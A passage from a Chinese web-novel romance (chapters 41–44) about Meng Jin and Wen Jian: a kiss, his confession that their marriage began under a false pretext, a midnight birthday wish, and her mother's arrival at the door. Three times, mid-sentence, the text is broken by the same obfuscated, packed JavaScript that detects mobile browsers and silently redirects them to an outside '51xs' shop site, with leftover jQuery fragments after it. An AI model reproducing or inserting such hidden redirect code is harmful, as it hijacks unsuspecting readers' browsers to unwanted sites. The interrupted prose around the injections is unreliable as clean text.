原来……原来闻见今天根本就没有去相亲,原来他今天一天都不出现是为了看她的反应,原来根本就没有什么南方姑娘。 也就是说,他的酒也不是跟别人喝的,而是他自己一个人……一个人待着太想她了,所以才喝的。 孟瑾听着他的话,心脏不受控地狠狠一抽,四面八方的冷风一瞬向她袭来,顷刻就将她整个冻在了原地。 仿佛被禁锢在冰天雪地里的雪人似的,她连一丝一毫都动不了。 孟瑾狠狠攥了一下手指,试图用这样的方式换回自己一点意识,然后忍着心里翻江倒海的不适,恍恍惚惚咬着牙抬腿上前,走到闻见面前。 “对不起,是我辜负了你……”她抬起自己冰凉发颤的手抚上他的脸颊,轻轻地说:“闻见,你别这样折磨自己,你别再喜欢我了,我不值得你喜欢。” 闻见说:“不,没有……我没有折磨自己,为了你,我甘之如饴。” “闻见,你听我说,你真的别再这样了……你忘了我吧,”孟瑾抬头看着他,看着他红红的眼睛,用着近乎颤抖的声音,恳求他道:”就当……就当我求你了,好不好?” 闻见闻言呼吸一滞。 “不,我不要。”他也看着她,恍惚地摇头。 他想要转身离开,想要逃离这里。 下一秒,孟瑾踮脚凑近,唇上传来冰凉的柔软。 是的,是她轻轻吻上了他的唇瓣。 41.第 41 章 一瞬间,闻见整个人彻底愣住。 他脑袋懵懵的,有些反应不过。 孟瑾的嘴唇冰凉柔软,呼吸清浅而略快,如夏日微风丝丝缕缕,轻拂过他的嘴角,柔软的触感在他的唇中停留一瞬,随即微微用力撬开他的牙关,唇舌探入,与之纠缠。 大约一两秒的样子,闻见当了机的大脑终于慢半拍通上了电,脑中残存不多的理智与心底深处压抑多年的渴望、感情相互厮杀,最终理智不及,败下阵来,刹那溃不成军。 他察觉后抬手捧住她的后脑,一手扣着姑娘细软的腰肢,将她紧紧抱在自己怀里,身体紧贴,呼吸纠缠,热烈回应着。 这个吻来的突然又热烈,闻见完全没有想到,所以他一时猝不及防,心里渴望又纠结,反应也跟着慢了许多。 然而孟瑾不一样,她是整件事情的主导者,她完全且绝对的知道自己在做什么,所以她没有大脑当机,也没有反应不过。她之所以会有这样的举动,只是刚刚看着闻见红红的,仿佛要哭似的眼眸,有些愧疚,也有些不忍。 是的,是不忍。 虽然她一直都是薄情又冷血,不在乎别人,不会爱人的那一个,但可能是这些天与他日复一日的相处,是他的温柔、他的耐心、他对待感情的执着和认真,还有那一句句并不惊艳,却仿佛能冲破屏障,震撼时光的情话,将她原本冰冷的心渐渐融化,教会了她爱与被爱。 所以尽管脑中理智又清醒,身体的本能却还是下意识地想靠近,想与他接吻,与他缠绵,想把自己为数不多的冲动完全绝对的给予他,给予面前这个唯一令她觉得愧疚、觉得不忍,觉得不受控心跳加速的人。 因为,她好像已经爱上他了。 不是喜欢,而是爱,是希望他好,希望他不要被自己连累,希望他永远肆意如少年,因而能绝对狠下心来,一次次的拒绝他、提醒他,自己不喜欢他,一点都不喜欢他,直至闻见彻底死心。 不知过了多久,直到舌尖恍恍惚惚泛起一抹清甜,是他咬破了她的嘴唇,孟瑾没忍住微微皱眉“撕”了声,然后起身扯开距离。 只扯开了一点。 因为闻见一手托着她的后脑,一手抱着她的腰,力气之大,令她跟本脱不了身。 他的眼睛直直盯着孟瑾的眼,看到她的神情冷静至极,好像与他接吻这个事,即便是她主动的,即便俩人刚刚都很投入,却还是掀不起孟瑾一丝波澜。 他的胸口还在微微起伏,面上没忍住露出了一点落寞的神色。 孟瑾察觉到了,也知道他是因为什么。 但她还是没有要说话的意思,因为刚刚的事的确是她冲动了,但是闻见不是也咬破了她的嘴唇吗? 所以就是两个人都自愿的,竟然都是成年人,又都是自愿的。 那她觉着,自己就没必要再向他道歉了。 就在孟瑾暗自调整着呼吸,准备转身离开的时候,闻见却眼疾手快抓起她的手扣到自己胸口的位置,隔着薄薄一层布料,孟瑾感受到了他滚烫炙热的心跳,她抬头看去,还是没说话。 闻见偏头吸了一口冷风,勉强找回自己的声音:“小瑾,我知道你刚刚在想什么,你想用这种方式让我死心,让我忘了你,可是我……我真的做不到,就算我嘴上答应你,我的心也做不到,所以……” “没有什么做不到的,只是时间问题。”所以什么还没说,就被孟瑾直接出声打断了。 她说着抽回自己的手,有点冷脸。 闻见平时是不喝酒的,因为他酒量不好,也因为喝了酒情绪会不受控制。 比如此刻就是,他明明知道孟瑾说的都是对的,也知道自己不应该这样纠缠她,从一开始到现在都是他的问题,是他控制不住自己的情绪,才害得孟瑾一直跟他在这冷风口里浪费时间。 可是一想到孟瑾方才说的,让他把她忘了的话,他就莫名觉得心慌,觉得害怕…… 他有预感,孟瑾今晚回家就会跟他说离婚的事,然后她就会彻底走出他的世界,再也不会出现。 他想着,抬头看来,眼睛红到似滴血,脸色也很白,仿佛被一夜冬雪打落的山茶花,孤傲又落寞。 孟瑾有些不敢直视他的眼,不太自然地别开视线,说了句:“太晚了,回家吧。” 接着,转身还没走出一步,闻见就毫无预兆从后伸手抱住她,很用力很用力的抱着,像是要将她揉进他的身体里:“好……我答应你,答应你以后再也不纠缠你了。” “你先不要走,让我抱一会,让我抱你一会好不好?”他的声音又低又哑,仿佛说这些话便要耗费他所有的力气和勇气。 闻见说着低下头,把脸埋进孟瑾的颈窝,声音很轻很轻地唤着她的名字,一遍又一遍:“小瑾,小瑾……” 孟瑾呼吸一滞。 整个身体瞬间软下来,酥酥麻麻倒在他怀里,完全使不上力气。 她也不知道为什么,也不知道怎么说,就仿佛武侠小说里写的那样,突然被点了某个穴位似的。 一下就动不了了。 与此同时,脑袋里也恍恍惚惚很突兀地冒出来一道声音,“阿瑜,我……我等不到你长大了。” 孟瑾记得这个声音,这是她昨晚走神时,从天而降救了她一命的那位白衣少年——谭延的声音。 可是,她为什么会突然想起他? 他的声音……他的声音怎么会跟闻见的一模一样? 不,不止是声音,还有眼睛。 孟瑾想起来了,虽然当时因为周遭实在太黑,局势又紧张,她没看清对方的脸,但她却看到了那白衣少年的眼睛,是很亮很亮的,一双浅棕色的眼。 闻见也是浅棕色的眼,瞳仁一样很亮——该不会,该不会…… 孟瑾脑中忽然闪过什么,但很快,她就反应过来自己的想法太荒唐了,只是声音和眼睛有些相似而已,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978653|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能代表什么的。 毕竟这世上每一天,每分每秒都有那么多人出生,长得相似的大有人在。 何况,前者只是在她幻觉里出现过的一抹人影而已,甚至连她自己都不确定,对方是否真的在这世上存在过。 闻见似乎真的醉了,就连孟瑾靠着他走了那么久的神,他都毫无察觉。 她想着,渐渐回了神。 然后试着张口,声音不冷不热的:“已经很久了,回吧。” 闻见还是不肯放手,也不抬头,声音闷闷的,“没有多久,再等一会儿。” 孟瑾:“……” 她就说闻大班长很像她的大黑嘛。 尤其是现在这样撒娇耍赖的时候,也是没谁了。 跟喝醉的人没什么好计较。 何况他发酒疯也不胡闹,就是像个认死里的大狗狗。 于是孟瑾想了想,还是微微垂眼叹了口气,没再说什么了。 直到过了不知多久。 他口袋里的手机突然很突兀的响起来,瞬间打破了周造沉闷又暧昧的气氛。 闻见才如梦方醒蓦地站直身体,接着,抱着她的手也放开了。 孟瑾被四面吹来的冷风兜头一敲,整个人都清醒了不少,她下意识往旁边一挪,仿佛画分楚河汉界似的。 闻见抿了抿唇,声音有些含糊地说:“我……我会信守承诺的。” “……”孟瑾想说自己不是那个意思,但又觉着这种情况似乎是越描越黑的。 ”先接电话吧,这么晚了估计是有什么事。”她没接他的那句,直接扯开话题说。 “没有,电话是我妈打的,应该是问明天的生日安排。”闻见说着掏出手机,电话果然是闻女士打来的,他抬手掐了一把眉心,犹豫了片刻,还是点了挂断:“我早上再回吧,现在嗓子太哑了。” 不光嗓子哑,鼻音也很重。 但是不接电话闻女士应该会担心吧。 孟瑾不知道明天是他的生日,不然刚刚就不说那些话了。 她叹了口气,走过来从他手里接过手机,说:“不接电话阿姨会担心吧,要不我打过去说两句?” 闻见说:“没事,不是我生日,不用有负担。” “什么?”孟瑾开手机的动作一顿,有些没听懂:“你刚刚不是说,明天的生日安排?” 闻见闻言抬头,眼神很温柔的看着她,昏黄的路灯也没将她苍白的脸颊染上多少暖光,不知是不是天气太冷了,眼前的姑娘,就连刚刚被他吻得有些发红的嘴唇都失了血色。 “是,但明天11月15号不是我的生日,是你二十八岁的生日。”他将自己身上的大衣脱下来,不顾孟瑾慢半拍的伸手阻挡给她穿好,一边信守承诺地后退扯开距离,终于自顾自笑起来,眼角眉梢尽是柔情:“孟瑾,其实当初结婚我是骗你的,我妈从来都没有逼着我相亲,因为她一直都知道,我喜欢的人是你。” 42.第 42 章 话音落下,闻见转身去路边拦车,脑袋里的思绪渐渐恍惚,想起了多年前的某个冬夜。 大一上学期,12月,临近期末。 安城虽然是北方,但平时气候并不很干,反而像南方似的,每年秋天都有绵绵不断的雨水,冬天却是不怎么冷,也很少下雪。 闻见从小就没见过爸爸,是闻女士一手带大的,家里条件不算差,妈妈也从来没有亏待他,没有对他进行过“苦难式教育,别人家孩子有的,他一般也都会有。 只是,有时候会比其他人晚些。 因为毕竟一个女人带着个孩子,即便她再云淡风轻,再工作积极,有些困难也还是客观存在,避免不了的。 也因此,闻见从小就比较听话懂事,小时候他不会吵着闹着要各种玩具、零食,长大一点,他也没有抱怨过别的小朋友都有兴趣班,他却只能在家里无聊的学习,就连初升高的重点高中都是他自己考上的,相比其他满面愁容,说三句话,两句半都在抱怨孩子的那些家长,闻女士根本不用操心他什么。 也因为家里条件不允许,闻见从小就没怎么出过门,也很少去外地旅游,至于出国、去欧洲,去意大利就更没机会了。 所以有孟瑾在的意大利天气如何,冬天会不会经常下雪,温度是高是低,他都没有亲身感受过,而只能在网上做一些并不全面,也不知道是真是假的攻略。 所以他平时就会下意识穿得少一些,尽量感受着听说与她的城市差不多的阴冷气候,仿佛那样,他就能离她近些,两人之间的距离就能短些。 然而闻见又很清楚,这不过是他自己在自欺欺人罢了。 毕竟两座城市隔着万水千山,连每天的时差都偏了六七个小时,更别说是天天都在变的天气、气候了…… 那年12月15号,安城下了有历史记录以来十年内最大的一场雪,道路两旁全都堆起厚厚的雪堆,路上随处全是大型铲雪车、撒盐除雪的工人,整个城市都成了银装素裹的模样。 闻见上的是本地大学,但是因为平时学校的事比较多,又加每次回小区都要经过孟瑾那个紧锁大门,常年累月没有人在的家,所以他便选择了住校,只偶尔有事才会回去一趟。 那天下午,他本来想早些出来买个蛋糕就回家的,却不想辅导员临时找他有事,耽误了一会——闻见忙完学校的事出来,迈开长腿往蛋糕店的方向跑,一边迅速掏出手机看了眼;夜里十一点。 都这么晚了,也不知道蛋糕店有没有关门。 为了赶时间,闻见连脚上的皮鞋都没来得及换,也没回宿舍穿羽绒服,身上只穿了一件薄毛衣,和一件不怎么扛冻的冲锋衣外套。 他本来想打个车过去,然而大雪路滑,温度又低,街上根本没有出租车,就连末班公交、地铁都停了。 闻见不知道那一晚他跑了多少家蛋糕店,也不知道被脚下厚厚的雪层滑倒了几次,反应过来时,他已经不知怎么回了家,安安静静坐在客厅的沙发上发呆了。 “小见,饭好了,过来吃吧。”闻女士做了他爱吃的酸菜馅饺子放到餐桌上,没有回头看他,只是声音有些低地说:“吃完去洗个热水澡,换换衣服,不然该感冒了。” 闻见点头应了一声,嗓音有点儿哑。 他慢腾腾走过来,拿起筷子吃一口,声音含糊道:“妈,你先回去睡吧,我吃完自己收拾。” 闻女士没说好也没说不好,她伸手拉开椅子坐到他旁边,看着他嚼蜡似的吃着碗里的饺子,好一会才问一句:“不好吃?” “没啊,”闻见说:“可能刚刚回来的时候,天气太冷感冒了。” “妈,你回去睡吧,不用管我的。”说完,又语速飞快地补了一句。 闻女士没再接他的话,微微后仰靠到椅背上,不知道在想什么了。 闻见看着碗里的饺子,吃了半天也吃不进去,他眨了眨酸涩的眼睛,片刻,还是直接起身把碗筷收去厨房了。 “妈,对不起,我……”他侧身靠着厨房门框,没敢抬头看妈妈,声音很低地说:“我没事,你别担心。” “你之前不是说想学医的么,怎么突然又学历史了?”闻女士还是没有接他的话,而是半年来头一回问起了他改志愿的事。 闻见闻言愣了一下,没有正面回答:“我想留在家里陪你,不想去别的城市了。但……主要原因也不是因为您。” 说这话时他的声音很轻,甚至有点偏气音,听着像是受了什么很大的委屈。 然而既然已经把话说开了,闻女士就想问问清楚,看看他到底是怎么想的。 她抬头看着他,语气很认真地问:“是因为对门孟家那个小女孩儿?” 闻见一滞,完全没想到他妈妈会提起孟瑾。 虽然之前都住在一个小区,但闻女士平时工作那么忙,而且她的性格也不是会在小区里聊天,打听八卦的,邻居什么的她也基本不认识。 更别说是没事根本不出门,遇到人也不爱打招呼的孟瑾了。所以闻见的第一反应就是,闻女士偷看他的日记了? 但是很快,他就意识到自己这想法有多荒唐了,且不说闻女士根本就不是那样的人,就连小时候他的作业本摆到茶几上,他妈妈都不会多看一眼,何况他现在都这么大了,闻女士怎么会去看他的日记呢? 所以她到底是怎么知道的——闻见想了好一会也想不到,索性果断放弃被外面风雪交加冻上的大脑,抬头等着他妈妈继续说。 “我很早就看出来你喜欢她了,”闻女士语气很平静,听着也不像要质问他什么,反而更像心平气和的与他谈心似的说,“但是因为之前你爸爸的事情,我一直状态不好,就没顾上跟你聊这个事。” “怎么样,要不要跟妈妈说说你的那位,嗯……小女神?” 闻见没有立刻说话,他抿抿唇,走过来坐回椅子上了。 “不是女神,就、就是普通同学而已……”他偏头看着客厅某处说。 闻女士:“普通同学,下这么大的雪还出来买蛋糕给人家庆生啊?你瞧瞧这一身狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986120|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狈模样,不知道的,还得以为是你妈我出了什么事,十万火急把你叫回来的呢。” 少年摇头想否认,反应过来她说了什么,忽地转头看过来,眼里带着不加掩饰地惊讶和疑惑:“妈,你怎么……” “我怎么什么都知道?”闻女士笑着拍了拍他的手臂,说:“傻孩子,我可是你妈妈呀,你有什么事能瞒得过我?何况,你之前一见到人家就忍不住偷看,还又是给人家买随身听,又是买学习资料的,被人捉弄给狗咬了也不说。” “那你妈我可不得去看看,到底是哪家的小姑娘有这么大魅力,竟然能让我家宝贝儿子屡战屡败,屡败屡战的,嗯?” “妈……” 闻见不好意思地笑了笑,下一瞬,心里忽然觉得有些委屈,少年没忍住长这么大头一回在妈妈面前红了眼眶,声音也低低沉沉的,“那,那您怎么知道今天是她生日的?” “哦,那是我之前跟她爸爸聊天,无意中听说的。” “你哪会跟别人聊天,肯定是专门去问的。” 闻女士听他这么说,倒是也不反驳:“嗯,也没说什么,就是聊了聊你们以后的大学规划,要去哪个城市发展之类的。她爸爸还说对你印象挺好,他也挺放心,还说已经认准你这个女婿了。” “只可惜,唉,不说那个了,言归正传,说说你以后是怎么打算的吧,”闻女士抬手摸了摸他的脑袋,眼神里满是心疼,低声道:“怎么好好的就放弃自己的梦想,改学历史了?” “因为孟瑾之前说她想学考古学,我本来也想报考古学,可是学了考古,以后就得全国各地的跑,那样的话,家里就只剩你一个人了。我不想像爸爸那样,不想老是你一个人在家。”少年说着,轻轻侧头靠到妈妈肩上,声音很低很低地说:“可是妈,孟瑾到了意大利又改了专业,她现在学的是古董修复。” “我也想改专业,可是我们学校没有古董修复学……” “妈,你知道么?我追不上她了。” “我再也追不上她了。” 闻女士看着趴在自己肩上微微颤抖的大男孩,心疼的一下下轻拍着他的背,好一会,等他心情渐渐平复下来,才说:“小见,妈妈供你去留学,你去找她好不好?” …… 闻见渐渐回了神,他跟着孟瑾的脚步下车回屋,随着客厅的灯刷然亮起,他也垂眼看着自己刚刚才抱过她,现在却还是变得冰凉彻底的手。 “她又不喜欢我,就算找到也……没有用的。” 闻见明明只是很小声的,自言自语似的说了一句,却还是引得旁边孟瑾狐疑地回头看来,”嗯?什么?” 他摇摇头,说了句没事。 抬腿要回房间,却被孟瑾伸手扯住了胳膊,她抬头,亮亮的眼眸直直盯着他的眼,好一会才问:“刚刚在外面你说阿姨没有逼着你相亲,当初结婚你说的那些话都是骗我的,也就是说,阿姨其实知道我们俩是假结婚,那她为什么还会同意你娶我?” “还要跟你一起打掩护呢?” 43.第 43 章 话音未落,口袋里闻见的手机又响起来。 孟瑾身上还穿着他的大衣,电话进来的一瞬,她下意识以为是自己的,掏出来看了一眼,意大利打来的,没有备注,但孟瑾认识这个号码。 是宋天宇。 她烦躁地皱了一下眉,不明白对方大半夜打电话是什么意思,接着,想也不想直接挂了。 旁边还被她拉着手腕的闻见全程目睹,他在外国的朋友不多,电话也都有备注,这号码他前几天打过,自然也知道是谁。 再结合孟瑾的手机被卓阳拿走的事,就反应过来,宋天宇打电话应该是找孟瑾的。 但是孟瑾为什么没有接,难道是因为有他在觉得不方便? 闻见抬头看了她一会儿,带着寒气的眼睫眨了眨,随即化成水从眼角流下去,心又慢慢跳动起来。 孟瑾抬眸刚好瞧见他眼角的水珠,喝醉的缘故,他的眼睛看着很红,仿佛一瞬间,有血泪滑落。 孟瑾片刻回神,说了句很奇怪的:“别哭,山茶少年不能轻易落泪的。” 山茶? 闻见虽然不太了解花语星座这些网上比较流行的东西,但他之前也听说过一点关于山茶花的花语,知道有一种解释是;理想的爱。 他不知道孟瑾怎么会将它比喻成山茶,她又不爱他,更不可能将他视为她的理想。 或者……她的意思是自己太执着了,有点像冬天还会开花的山茶么? 闻见犹豫了一下,摇头说:“没哭,是天太冷了。” “你接电话吧,我回房间了。”说完,又语速飞快地补一句。 “我们的事还没说完,”孟瑾还是看着他,语气很认真地说:“阿姨为什么要跟你一起打掩护,她不觉得我这样的人很过分么?” 当年十八岁就一直怀着私心利用她儿子,最后一句话不说,拍拍屁股就走人了。 现在二十八岁刚回国又开始利用她儿子。 闻女士作为闻见的母亲,肯定很不喜欢她,觉得她是个很无情的人。 那她又为什么会同意闻见娶她,让她有机会继续伤害闻见,伤他的心? 闻见闻言轻轻一笑,见孟瑾没有松手的意思,就顺从地牵着她到了自己的房间,抬抬下巴示意孟瑾坐到床上,自己则弯腰从床头抽屉里拿出了一个小礼品袋:“还记得吗?这是上次咱俩去我妈家,她给你的。” 孟瑾当然记得,这事儿过了又没几天,而且这还是她第一次收到长辈给的礼物,虽然她没打开看过,但听闻女士的语气就知道,里面肯定是贵重的东西。 她一脸莫名其妙的表情抬头看他,半晌,没忍住嘀咕一句:“这才几天,我又不是老年痴呆……” 话音未落,余光就瞥见两人从刚刚到现在手还一直牵着,而且不知什么时候还变成了十指相扣的姿势。 都说十指连心。 不知是不是心理作用,一瞬间,她忽然感觉自己的心跳得很快,一下一下,又急又重的,却又莫名让人觉得踏实,没有跟异性近距离接触会产生的那种不适。 原来……这就是跟喜欢的人牵手的感觉吗?孟瑾有些后知后觉地想:还挺神奇的。 “哦,我以为这几天发生了这么多事,你早就忘了。”闻见说着,麻利地一手掏出里面一个长方形小盒子,放到床头柜上,打开。 盒子里面是一只祖母绿翡翠簪子,做工十分精巧考究,接口平顺光滑,整个保存完好,没有受到外界一点破坏,仔细看还能看到发簪周身十分均匀地发着一道浅浅的光。 孟瑾作为一个专业人士,虽然不是什么业界大佬,知名专家,见过的文物也不多,但还是一眼就看出来,这只簪子并非一般的仿古工艺品。 猜的不错,这应该是魏晋时期,大约公元220年至420年间由当时的能工巧匠精雕细琢做出来,供王室贵族们佩戴使用的——因为当时的制作条件非常有限,玉石翡翠之类也极为罕见,所以一般的商户平民是根本见不到这么好的翡翠簪子的,更别说佩戴使用了。 孟瑾没有上手拿,只是垂眼看了一会儿,然后抬头一挑眉,说:“是正品,班长大半夜拉我来你的私人空间,原来是鉴宝么?” “嗯?你不是问我妈她为什么帮着我一起打掩护吗?”闻见说:“因为她是真的很喜欢你,不然怎么会把我爸给她的传家宝都给你了,我小时候想拿来看看,结果最后嘴都磨破了,我妈还是不给看。” 那能一样吗!你自己也说了是小时候,这么罕见的古董,万一给你摔坏了怎么办。 女孩默然地耸了耸肩,一时说不出话来。 但对方似乎知道她在想什么,他弯着眼睛冲她笑了一下,然后小心翼翼又怕被发现似的牵着她的手轻轻晃了两下。 不知怎么,孟瑾瞧着他这生疏又别扭的举动,莫名想起来之前陆逍拽着顾苒的小母指撒娇的模样。 小孟老师被他这“现学现用”的样子哄高兴了,她忽然没忍住笑出了声,好一会儿,又很诚恳地夸赞了一句:“闻教授,我突然发现你好可爱啊。” 闻见不好意思地抬手干咳一声,却没有挪开眼睛,也没放开她的手。 他就那样笑着,看着她,看着她在暖光下亮亮的眼眸,心里无声倒数、五、四、三,二……一。 墙上的挂钟指向零点的一瞬,终于将自己从高三到去年整整十年,每年的今天,每次在心里对着月亮为她许下的祝福,轻轻说了出来:“小瑾,生日快乐。” 孟瑾呼吸一滞,蓦地反应过来时间已经过了零点。 从此刻到下一个零点,整整一天、二十四个小时,都是她的生日,是她二十八岁的生日。 可是孟瑾并不期待这一天,甚至于,在心底深处她其实很排斥自己的生日。 因为从小到大,除了外婆,谁也不会记得她的生日,也没有人会为她庆祝,给她祝福。 甚至很多时候,唐婉清都会特意在生日这天找她麻烦,给她甩脸——都说孩子的生日是妈妈的苦难日,的确,这是上每个母亲都很伟大,也很辛苦。 她作为女生,也能真真切切的感受到唐婉清的不易和艰辛,但她却是做不到百分之百的与她共鸣,小时候她不明白,唐婉清竟然那么不喜欢她,为什么又要把她生出来,把她一个人留在舅舅家,让她从小就受尽白眼,常常因为一些小事就不知所措,优柔寡断的。 甚至从小就讨厌自己的生日,讨厌自己的出生。 长大以后她终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025637|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白了,唐婉清生她是为尽义务,不在乎是因为不爱。虽然不爱,可她又不甘心放手,不愿意给她自由,不愿意让她自己主宰自己的人生。 所以在国外的这些年唐婉清才会那么执拗、偏执地,甚至是有些疯狂地想要控制她,将她绑在自己身边,让她时时刻刻都要记得,她的一切都是属于她的,孟瑾没有权利,更没有资格反抗忤逆她。 无论任何。 特别是每年孟瑾的生日,过年,还有孟强东忌日的那几天,唐婉清的抱怨更是从早到晚,除了吃饭睡觉,像三伏天的空调一样一刻不停。 孟瑾发呆的时间不长,大概两三秒的样子,她就收回思绪,然后低头看向闻见,声音表情都很平静地说:“班长有心了,但是抱歉,我不过生日。” 说着,微微用力把自己的手抽回来。 闻见脸上的笑容僵了一瞬。 像个做错事的孩子似的,他愣愣眨了两下眼睛,勉强扯笑站起身。 “没事,没关系的,”他垂眼看着自己的手,轻声说:“你不用觉得抱歉。” 该抱歉的人是他,是他不够了解她。 不知道她喜欢什么,讨厌什么。 就连她每年的生日在异国他乡是怎么过的,有没有人一起庆祝,陪她许愿,为她祝福,他都不知道。 一点都不知道。 两人分开整整十年,他也从来没有去看过她,哪怕是单方面的,自己一个人过去,站在远远的角落看她一眼都没有,现在又怎么能用一句不痛不痒的“生日快乐”抚平孟瑾这么多年在外受的那些苦? 趁他说话的功夫,孟瑾已经站起来准备回自己房间了。 她摇头说了句没事,想了想,又客气一笑:“那我先回房间了,班长也早点休息。” 闻见不知道是不是酒劲又上来了,声音听着有些含糊:“好。” 孟瑾点头,伸手开了门,抬腿脚还没迈出去,就听身后人急急来了一句:“孟瑾,我想去你房间打地铺。” 孟瑾摇摇头,说两人都喝了酒,不方便。 他一声不吭跟在后头,有些坚持。 孟瑾抿抿唇,也没什么耐心了。 她回头看着闻见,直接道:“你这样,阿姨知道了会心疼的,别让她再跟着你操心了。” 闻见这次没再说什么,安安静静站在原地,看着她转身离开,背影越走越远。 此时,只有客厅和他的房间开了灯,孟瑾伸手推开门的一瞬间,整个人就仿佛被屋里的黑暗席卷,下一秒,就要与其融为一体了。 她推开门没有犹豫,也没有开灯,抬腿直接走进去,然后反手“啪”地一声,门被关上,将自己完全融进眼前那片黑暗里。 闻见侧身靠着门框,眼睛一眨不眨盯着孟瑾的房间看了好一会儿。 可是没有用,他什么都看不到。 也不能陪她一起。 因为那是孟瑾的选择,他没有办法,也没有理由再跟过去。 就在这时,玄关突然传来一阵急急地敲门声,闻见蓦地反应过来,刚要过去开门—— “班长,等等,”孟瑾眼睛红红的从后跑过来,一把拉住他的胳膊,声音哽咽道:“先……先别开门。” 44.第 44 章 闻见闻言呼吸一滞,整个人都愣住了,他从来没有见过孟瑾这样。 记忆里,她一直都是那个骄傲又耀眼,潇洒又干脆,克制又清醒的姑娘。 她从来都是那个坚定走自己的路,不会被任何人,任何事绊住脚步。 当然,也没有为谁红过眼眶。 至少在闻见的记忆里,他一次都没有见过。 也因此,在回头看到孟瑾红红的眼眸,听到她想要极力克制,却还是不受控有些哽咽地声音,闻见的心才会痛得像是被刀割了一样,猛地一颤。 差点就要失控抬手抱住她,不管不顾将她用力抱在怀里,紧紧地抱在自己怀里,告诉她没关系,所有的事情都没关系——然而伸出去的手还没碰到孟瑾,闻见就蓦地反应过来,他不久之前已经答应了她,不再纠缠她,不让她为难了。 闻见伸出去的手在空中停了片刻,然后慢慢垂下去,眼睛定定看着她,问:“小瑾,你怎么了?” 时间回到五分钟前—— 孟瑾摸黑到了床边,没什么情绪的转身坐下。 虽然已经过了夜里零点,但孟瑾还是没有什么睡意,也不觉得很累——倒是她突然发现这屋子好大啊,身边也莫名空落落的,仿佛少了些什么,可又想不起来到底是什么。 她抬头,四下仔细打量一圈,确实什么都没少,不但没少,床头还多了一只粉粉嫩嫩的小皮包。 是陈朵朵的。 孟瑾眨了眨眼睛,后知后觉地想:果然还是朵朵最了解她,知道说闻见去跟别人约会她肯定会有反应,会吃醋的……哦,原来她晚上一直不想跟闻见说话,懒得搭理他,是在吃醋么? 好吧,虽然她也不知道什么是吃醋,但既然朵朵说她是吃醋了,那应该就是……就是吃醋了吧。 孟瑾想着,不自知地抿了抿唇,一下又想起来,闻见晚上把她嘴唇咬破的事。 啧……平时看着稳重又内敛,要多正经有多正经的,怎么到头来连个吻也不会接? 还那么粗暴的咬人,还捧着她的脑袋不让往后退,像是要把她生吞活剥了似的……咳,虽然“生吞活剥”这词用的有点夸张,但闻大教授这反差也太大了吧? 想着,孟瑾无意识后仰躺到床上,抬头的瞬间,又看到那只安安静静靠着床头,翘着二郎腿,一副大姐大模样的狗狗玩偶,那是闻见结婚之前给她买的,估计是想让狗狗陪她睡觉? 孟瑾一直都没仔细看过,原来它长得还挺可爱的。 感觉有点像她,又有点像闻见,嗯……如果他是女生的话。 孟瑾:“……” 她这大半夜不睡觉在这儿有的没的想什么呢? 果然,人没有手机玩的时候就很容易胡思乱想。 虽然她感觉自己平时也没有很爱玩手机。 就在这时,孟瑾扔在床头抽屉里的旧手机突然很突兀的响起来。 她被惊了一下,爬起来拿出手机一看,果然是唐婉清打来的。 孟瑾调整了一下呼吸,把电话接通了:“喂。” “一直不接电话怎么回事?”唐婉清那边可能有别人在,语气听着比平时好很多。 孟瑾知道她打电话要干什么,心里莫名有些烦躁,她默了一会儿,然后有点敷衍地说:“手机丢了,还没买新的。” “我是说闻见的电话怎么也打不通,你们不是在一起呢吗?”唐婉清冷着声质问:“怎么?不声不响把我女儿娶了就算完事了是吧?连我这个丈母娘的电话都不想接,更别指望他来看我一眼了。” 孟瑾有点没听明白,唐婉清的意思是刚刚给闻见打电话的不是宋天宇,而是她? “出来开门,我跟天宇我们已经到门口了,他不接电话也罢了,总要给我这个丈母娘开门吧?”唐婉清继续说。 孟瑾闻言一愣,虽然之前也想过唐婉清会帮着宋天宇回国来找她。 但真到了这一刻,她却反倒有些紧张,不是因为唐婉清过来,她就得跟她回去,也不是担心闻见跟他们不熟,应付不来。 而是她不想让闻见面对唐婉清,自私也好,虚荣也罢,孟瑾就是不想让他觉得她的妈妈是那么奇怪又自私的人,是可以为了自己的目的不择手段,甚至能将亲生女儿眼睁睁地推进火海。 换句话说,就是她不想把自己所有的伤口和自尊全都扯开,晾在他面前,晾给闻见看。 因为那样会让她觉得很难堪,很丢脸,很压抑。 压抑地喘不上气来。 孟瑾抬头深深吐出一口气,语气依旧平静地说:“你不用见他了,有什么事直接跟我说吧。” 唐婉清闻言一愣,一时竟连骂人的话都忘了。 因为她完全没有想到,孟瑾会在今天,在她生日的这天反抗忤逆她。 